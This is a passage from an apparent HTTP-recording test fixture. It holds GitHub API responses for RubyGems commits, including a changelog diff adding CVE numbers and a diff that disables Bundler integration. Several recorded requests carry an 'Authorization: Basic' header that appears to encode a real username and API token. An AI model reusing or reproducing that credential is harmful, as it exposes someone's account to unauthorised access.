2.6.12 / 2017-04-30"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:12 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/eacd17a21accdf0400347792012617943786da77 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4404' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"744175f4a04c745cad09725f4661af1b" Last-Modified: - Thu, 31 Aug 2017 00:48:57 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.037994' X-Github-Request-Id: - C5D8:4D97:903BF0:1C484F7:5A50E47D body: encoding: ASCII-8BIT string: '{"sha":"eacd17a21accdf0400347792012617943786da77","commit":{"author":{"name":"Andre Arko","email":"andre@arko.net","date":"2017-08-31T00:48:57Z"},"committer":{"name":"Andre Arko","email":"andre@arko.net","date":"2017-08-31T00:48:57Z"},"message":"add CVE numbers to security issue notes","tree":{"sha":"284fb32fdcfa4cba07585ca122dfef78ecee3968","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/284fb32fdcfa4cba07585ca122dfef78ecee3968"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/eacd17a21accdf0400347792012617943786da77","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/eacd17a21accdf0400347792012617943786da77","html_url":"https://github.com/rubygems/rubygems/commit/eacd17a21accdf0400347792012617943786da77","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/eacd17a21accdf0400347792012617943786da77/comments","author":{"login":"indirect","id":78,"avatar_url":"https://avatars1.githubusercontent.com/u/78?v=4","gravatar_id":"","url":"https://api.github.com/users/indirect","html_url":"https://github.com/indirect","followers_url":"https://api.github.com/users/indirect/followers","following_url":"https://api.github.com/users/indirect/following{/other_user}","gists_url":"https://api.github.com/users/indirect/gists{/gist_id}","starred_url":"https://api.github.com/users/indirect/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/indirect/subscriptions","organizations_url":"https://api.github.com/users/indirect/orgs","repos_url":"https://api.github.com/users/indirect/repos","events_url":"https://api.github.com/users/indirect/events{/privacy}","received_events_url":"https://api.github.com/users/indirect/received_events","type":"User","site_admin":false},"committer":{"login":"indirect","id":78,"avatar_url":"https://avatars1.githubusercontent.com/u/78?v=4","gravatar_id":"","url":"https://api.github.com/users/indirect","html_url":"https://github.com/indirect","followers_url":"https://api.github.com/users/indirect/followers","following_url":"https://api.github.com/users/indirect/following{/other_user}","gists_url":"https://api.github.com/users/indirect/gists{/gist_id}","starred_url":"https://api.github.com/users/indirect/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/indirect/subscriptions","organizations_url":"https://api.github.com/users/indirect/orgs","repos_url":"https://api.github.com/users/indirect/repos","events_url":"https://api.github.com/users/indirect/events{/privacy}","received_events_url":"https://api.github.com/users/indirect/received_events","type":"User","site_admin":false},"parents":[{"sha":"dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","url":"https://api.github.com/repos/rubygems/rubygems/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","html_url":"https://github.com/rubygems/rubygems/commit/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7"}],"stats":{"total":10,"additions":5,"deletions":5},"files":[{"sha":"ba7fd244825d3defadf82e4b46c44a6bde029039","filename":"History.txt","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/eacd17a21accdf0400347792012617943786da77/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/eacd17a21accdf0400347792012617943786da77/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=eacd17a21accdf0400347792012617943786da77","patch":"@@ -4,14 +4,14 @@\n \n Security fixes:\n \n-* Fix a DNS request hijacking vulnerability.\n+* Fix a DNS request hijacking vulnerability. (CVE-2017-0902)\n Discovered by Jonathan Claudius, fix by Samuel Giddins.\n-* Fix an ANSI escape sequence vulnerability.\n+* Fix an ANSI escape sequence vulnerability. (CVE-2017-0899)\n Discovered by Yusuke Endoh, fix by Evan Phoenix.\n-* Fix a DOS vulernerability in the `query` command.\n+* Fix a DOS vulernerability in the `query` command. (CVE-2017-0900)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n-* Fix a vulnerability in the gem installer that allowed\n- a malicious gem to overwrite arbitrary files.\n+* Fix a vulnerability in the gem installer that allowed a malicious gem\n+ to overwrite arbitrary files. (CVE-2017-0901)\n Discovered by Yusuke Endoh, fix by Samuel Giddins.\n \n === 2.6.12 / 2017-04-30"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:13 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4403' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9c3b7c4097cfc4934cabc960335e4de7" Last-Modified: - Tue, 29 Aug 2017 18:49:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041017' X-Github-Request-Id: - A30A:4D97:903BFB:1C4851C:5A50E47D body: encoding: ASCII-8BIT string: '{"sha":"dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-29T18:49:53Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-29T18:49:53Z"},"message":"Auto merge of #1998 - rubygems:seg-disable-bundler-integration, r=indirect\n\nTemporarily disable Bundler integration\n\nRight now, I''ve been avoiding shipping `master` as RubyGems 2.7 for almost a year because (1) it relies on Bundler for `use_gemdeps` functionality (purposefully, as a part of the Bundler/RubyGems merger plan) and (2) Ruby core is not yet able to vendor a version of RubyGems that depends upon Bundler because they do not yet have they infrastructure in place to test Bundler (with rspec, etc) along with core.\n\nThis PR temporarily disables the Bundler integration, unblocking the release of 2.7. Once @hsbt gets Ruby core ready for a RubyGems that uses Bundler, we can flip the constant and ship a new minor version.","tree":{"sha":"92d89773c1bca03b56e82433136cc81b99866597","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/92d89773c1bca03b56e82433136cc81b99866597"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","html_url":"https://github.com/rubygems/rubygems/commit/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"4921af81167d4ca03d2460f2d1311af6518dda6d","url":"https://api.github.com/repos/rubygems/rubygems/commits/4921af81167d4ca03d2460f2d1311af6518dda6d","html_url":"https://github.com/rubygems/rubygems/commit/4921af81167d4ca03d2460f2d1311af6518dda6d"},{"sha":"7db5e1fa2e070c2872e1187488637ec5f64c2e39","url":"https://api.github.com/repos/rubygems/rubygems/commits/7db5e1fa2e070c2872e1187488637ec5f64c2e39","html_url":"https://github.com/rubygems/rubygems/commit/7db5e1fa2e070c2872e1187488637ec5f64c2e39"}],"stats":{"total":174,"additions":99,"deletions":75},"files":[{"sha":"71fc3742ba4725a418c57b0683c5d8d4857705c8","filename":"lib/rubygems.rb","status":"modified","additions":22,"deletions":7,"changes":29,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -178,6 +178,8 @@ module Gem\n write_binary_errors\n end.freeze\n \n+ USE_BUNDLER_FOR_GEMDEPS = false # :nodoc:\n+\n @@win_platform = nil\n \n @configuration = nil\n@@ -1190,13 +1192,26 @@ def self.use_gemdeps path = nil\n raise ArgumentError, \"Unable to find gem dependencies file at #{path}\"\n end\n \n- ENV[\"BUNDLE_GEMFILE\"] ||= File.expand_path(path)\n- require ''rubygems/user_interaction''\n- Gem::DefaultUserInteraction.use_ui(ui) do\n- require \"bundler\"\n- @gemdeps = Bundler.setup\n- Bundler.ui = nil\n- @gemdeps.requested_specs.map(&:to_spec).sort_by(&:name)\n+ if USE_BUNDLER_FOR_GEMDEPS\n+\n+ ENV[\"BUNDLE_GEMFILE\"] ||= File.expand_path(path)\n+ require ''rubygems/user_interaction''\n+ Gem::DefaultUserInteraction.use_ui(ui) do\n+ require \"bundler\"\n+ @gemdeps = Bundler.setup\n+ Bundler.ui = nil\n+ @gemdeps.requested_specs.map(&:to_spec).sort_by(&:name)\n+ end\n+\n+ else\n+\n+ rs = Gem::RequestSet.new\n+ @gemdeps = rs.load_gemdeps path\n+\n+ rs.resolve_current.map do |s|\n+ s.full_spec.tap(&:activate)\n+ end\n+\n end\n rescue => e\n case e"},{"sha":"408672158f824e528b9f43d92e3046500586cb2e","filename":"lib/rubygems/commands/pristine_command.rb","status":"modified","additions":12,"deletions":9,"changes":21,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/commands/pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/commands/pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/pristine_command.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -125,14 +125,14 @@ def execute\n next\n end\n \n- unless spec.extensions.empty? or options[:extensions] then\n+ unless spec.extensions.empty? or options[:extensions] or options[:only_executables] then\n say \"Skipped #{spec.full_name}, it needs to compile an extension\"\n next\n end\n \n gem = spec.cache_file\n \n- unless File.exist? gem then\n+ unless File.exist? gem or options[:only_executables] then\n require ''rubygems/remote_fetcher''\n \n say \"Cached gem for #{spec.full_name} not found, attempting to fetch...\"\n@@ -157,16 +157,19 @@ def execute\n install_defaults.to_s[''--env-shebang'']\n end\n \n- installer = Gem::Installer.at(gem,\n- :wrappers => true,\n- :force => true,\n- :install_dir => spec.base_dir,\n- :env_shebang => env_shebang,\n- :build_args => spec.build_args)\n-\n+ installer_options = { \n+ :wrappers => true,\n+ :force => true,\n+ :install_dir => spec.base_dir,\n+ :env_shebang => env_shebang,\n+ :build_args => spec.build_args,\n+ }\n+ \n if options[:only_executables] then\n+ installer = Gem::Installer.for_spec(spec, installer_options)\n installer.generate_bin\n else\n+ installer = Gem::Installer.at(gem, installer_options)\n installer.install\n end\n "},{"sha":"f322ca9df55c4bf6a45caecaead41aa9089646c9","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":28,"deletions":30,"changes":58,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -220,10 +220,9 @@ def execute\n def install_executables(bin_dir)\n @bin_file_names = []\n \n- {\n- ''gem'' => ''bin'',\n- ''bundler'' => ''bundler/exe'',\n- }.each do |tool, path|\n+ executables = { ''gem'' => ''bin'' }\n+ executables[''bundler''] = ''bundler/exe'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ executables.each do |tool, path|\n say \"Installing #{tool} executable\" if @verbose\n \n Dir.chdir path do\n@@ -289,10 +288,9 @@ def install_file file, dest_dir\n end\n \n def install_lib(lib_dir)\n- {\n- ''RubyGems'' => ''lib'',\n- ''Bundler'' => ''bundler/lib''\n- }.each do |tool, path|\n+ libs = { ''RubyGems'' => ''lib'' }\n+ libs[''Bundler''] = ''bundler/lib'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ libs.each do |tool, path|\n say \"Installing #{tool}\" if @verbose\n \n lib_files = rb_files_in path\n@@ -352,26 +350,26 @@ def fake_spec.full_gem_path\n end\n \n def install_default_bundler_gem\n- Dir.chdir(\"bundler\") do\n- bundler_spec = Gem::Specification.load(\"bundler.gemspec\")\n- bundler_spec.files = Dir[\"{*.md,{lib,exe,man}/**/*}\"]\n- bundler_spec.executables -= %w[bundler bundle_ruby]\n- Dir.entries(Gem::Specification.default_specifications_dir).\n- select {|gs| gs.start_with?(\"bundler-\") }.\n- each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n+ return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n- default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n- Gem.write_binary(default_spec_path, bundler_spec.to_ruby)\n+ bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+ bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n+ bundler_spec.executables -= %w[bundler bundle_ruby]\n+ Dir.entries(Gem::Specification.default_specifications_dir).\n+ select {|gs| gs.start_with?(\"bundler-\") }.\n+ each {|gs| File.delete(File.join(Gem::Specification.default_specifications_dir, gs)) }\n \n- bundler_spec = Gem::Specification.load(default_spec_path)\n+ default_spec_path = File.join(Gem::Specification.default_specifications_dir, \"#{bundler_spec.full_name}.gemspec\")\n+ Gem.write_binary(default_spec_path, bundler_spec.to_ruby)\n \n- Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n- each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+ bundler_spec = Gem::Specification.load(default_spec_path)\n \n- mkdir_p bundler_spec.bin_dir\n- bundler_spec.executables.each {|e| cp File.join(bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n- end\n+ Dir.entries(bundler_spec.gems_dir).\n+ select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n+ each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n+\n+ mkdir_p bundler_spec.bin_dir\n+ bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n end\n \n def make_destination_dirs(install_destdir)\n@@ -464,10 +462,9 @@ def remove_old_bin_files(bin_dir)\n end\n \n def remove_old_lib_files lib_dir\n- {\n- File.join(lib_dir, ''rubygems'') => ''lib/rubygems'',\n- File.join(lib_dir, ''bundler'') => ''bundler/lib/bundler'',\n- }.each do |old_lib_dir, new_lib_dir|\n+ lib_dirs = { File.join(lib_dir, ''rubygems'') => ''lib/rubygems'' }\n+ lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n \n old_lib_files = rb_files_in(old_lib_dir)\n@@ -533,9 +530,10 @@ def uninstall_old_gemcutter\n end\n \n def regenerate_binstubs\n+ require \"rubygems/commands/pristine_command\"\n+ say \"Regenerating binstubs\"\n command = Gem::Commands::PristineCommand.new\n- command.handle_options %w[--all --only-executables]\n- command.execute\n+ command.invoke(*%w[--all --only-executables --silent])\n end\n \n end"},{"sha":"0cbca0791b2e35db891751db35c7fa8e031f97d1","filename":"lib/rubygems/installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -473,7 +473,7 @@ def generate_bin # :nodoc:\n \n unless File.exist? bin_path then\n # TODO change this to a more useful warning\n- warn \"#{bin_path} maybe `gem pristine #{spec.name}` will fix it?\"\n+ warn \"`#{bin_path}` does not exist, maybe `gem pristine #{spec.name}` will fix it?\"\n next\n end\n "},{"sha":"2de45c900b69ee10cd786b45aca33274dd8157bb","filename":"lib/rubygems/util.rb","status":"modified","additions":6,"deletions":17,"changes":23,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/util.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/lib/rubygems/util.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/util.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -109,26 +109,15 @@ def self.silent_system *command\n ##\n # Enumerates the parents of +directory+.\n \n- def self.traverse_parents directory\n+ def self.traverse_parents directory, &block\n return enum_for __method__, directory unless block_given?\n \n here = File.expand_path directory\n- start = here\n-\n- Dir.chdir start\n-\n- begin\n- loop do\n- yield here\n-\n- Dir.chdir ''..''\n-\n- return if Dir.pwd == here # toplevel\n-\n- here = Dir.pwd\n- end\n- ensure\n- Dir.chdir start\n+ loop do\n+ Dir.chdir here, &block\n+ new_here = File.expand_path(''..'', here)\n+ return if new_here == here # toplevel\n+ here = new_here\n end\n end\n "},{"sha":"38c990712ae7d07d759dc29cf81bffcd1e12e898","filename":"test/rubygems/test_gem.rb","status":"modified","additions":24,"deletions":8,"changes":32,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -399,7 +399,7 @@ def test_self_detect_gemdeps\n begin\n Dir.chdir ''detect/a/b''\n \n- assert_equal [BUNDLER_FULL_NAME], Gem.detect_gemdeps.map(&:full_name)\n+ assert_equal add_bundler_full_name([]), Gem.detect_gemdeps.map(&:full_name)\n ensure\n Dir.chdir @tempdir\n end\n@@ -1452,7 +1452,7 @@ def test_auto_activation_of_specific_gemdeps_file\n \n Gem.detect_gemdeps\n \n- assert_equal %W(a-1 b-1 #{BUNDLER_FULL_NAME} c-1), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1 b-1 c-1)), loaded_spec_names\n end\n \n def test_auto_activation_of_detected_gemdeps_file\n@@ -1475,13 +1475,21 @@ def test_auto_activation_of_detected_gemdeps_file\n \n ENV[''RUBYGEMS_GEMDEPS''] = \"-\"\n \n- assert_equal [a, b, util_spec(\"bundler\", Bundler::VERSION), c], Gem.detect_gemdeps.sort_by { |s| s.name }\n+ expected_specs = [a, b, (Gem::USE_BUNDLER_FOR_GEMDEPS || nil) && util_spec(\"bundler\", Bundler::VERSION), c].compact\n+ assert_equal expected_specs, Gem.detect_gemdeps.sort_by { |s| s.name }\n end\n \n LIB_PATH = File.expand_path \"../../../lib\".dup.untaint, __FILE__.dup.untaint\n BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n \n+ def add_bundler_full_name(names)\n+ return names unless Gem::USE_BUNDLER_FOR_GEMDEPS\n+ names << BUNDLER_FULL_NAME\n+ names.sort!\n+ names\n+ end\n+\n def test_looks_for_gemdeps_files_automatically_on_start\n util_clear_gems\n \n@@ -1639,7 +1647,7 @@ def test_use_gemdeps\n \n Gem.use_gemdeps gem_deps_file\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n refute_nil Gem.gemdeps\n end\n \n@@ -1700,7 +1708,7 @@ def test_use_gemdeps_automatic\n \n Gem.use_gemdeps\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n end\n@@ -1748,11 +1756,19 @@ def test_use_gemdeps_missing_gem\n else\n platform = \" #{platform}\"\n end\n- expected = <<-EXPECTED\n+ expected = if Gem::USE_BUNDLER_FOR_GEMDEPS \n+ <<-EXPECTED\n Could not find gem ''a#{platform}'' in any of the gem sources listed in your Gemfile.\n You may need to `gem install -g` to install missing gems\n \n- EXPECTED\n+ EXPECTED\n+ else\n+ <<-EXPECTED\n+Unable to resolve dependency: user requested ''a (>= 0)''\n+You may need to `gem install -g` to install missing gems\n+\n+ EXPECTED\n+ end\n \n assert_output nil, expected do\n Gem.use_gemdeps\n@@ -1777,7 +1793,7 @@ def test_use_gemdeps_specific\n \n Gem.use_gemdeps\n \n- assert_equal %W(a-1 #{BUNDLER_FULL_NAME}), loaded_spec_names\n+ assert_equal add_bundler_full_name(%W(a-1)), loaded_spec_names\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n end"},{"sha":"22c831fa5e14f75469e126ed7de13c83f1f5eec8","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -48,8 +48,10 @@ def test_install_lib\n assert_path_exists File.join(dir, ''rubygems.rb'')\n assert_path_exists File.join(dir, ''rubygems/ssl_certs/rubygems.org/foo.pem'')\n \n- assert_path_exists File.join(dir, ''bundler.rb'')\n- assert_path_exists File.join(dir, ''bundler/b.rb'')\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ assert_path_exists File.join(dir, ''bundler.rb'')\n+ assert_path_exists File.join(dir, ''bundler/b.rb'')\n+ end\n end\n end\n \n@@ -84,7 +86,7 @@ def test_remove_old_lib_files\n \n refute_path_exists old_builder_rb\n refute_path_exists old_format_rb\n- refute_path_exists old_bundler_c_rb\n+ refute_path_exists old_bundler_c_rb if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n assert_path_exists securerandom_rb\n assert_path_exists engine_defaults_rb"},{"sha":"b85db44d514a1e4f0f1cffbf09084b9746e4dfa3","filename":"test/rubygems/test_gem_util.rb","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem_util.rb","raw_url":"https://github.com/rubygems/rubygems/raw/dfc9c72a91b14a5d630fc141cf30312da3bf2ba7/test/rubygems/test_gem_util.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_util.rb?ref=dfc9c72a91b14a5d630fc141cf30312da3bf2ba7","patch":"@@ -26,6 +26,7 @@ def test_traverse_parents\n assert_equal File.join(@tempdir, ''a/b/c''), enum.next\n assert_equal File.join(@tempdir, ''a/b''), enum.next\n assert_equal File.join(@tempdir, ''a''), enum.next\n+ loop { break if enum.next.nil? } # exhaust the enumerator\n end\n \n def test_linked_list_find"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:13 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7db5e1fa2e070c2872e1187488637ec5f64c2e39 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:13 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4402' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7d6e0d9de708fbaf7d37eda7a5a9eca1" Last-Modified: - Tue, 29 Aug 2017 16:30:38 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload 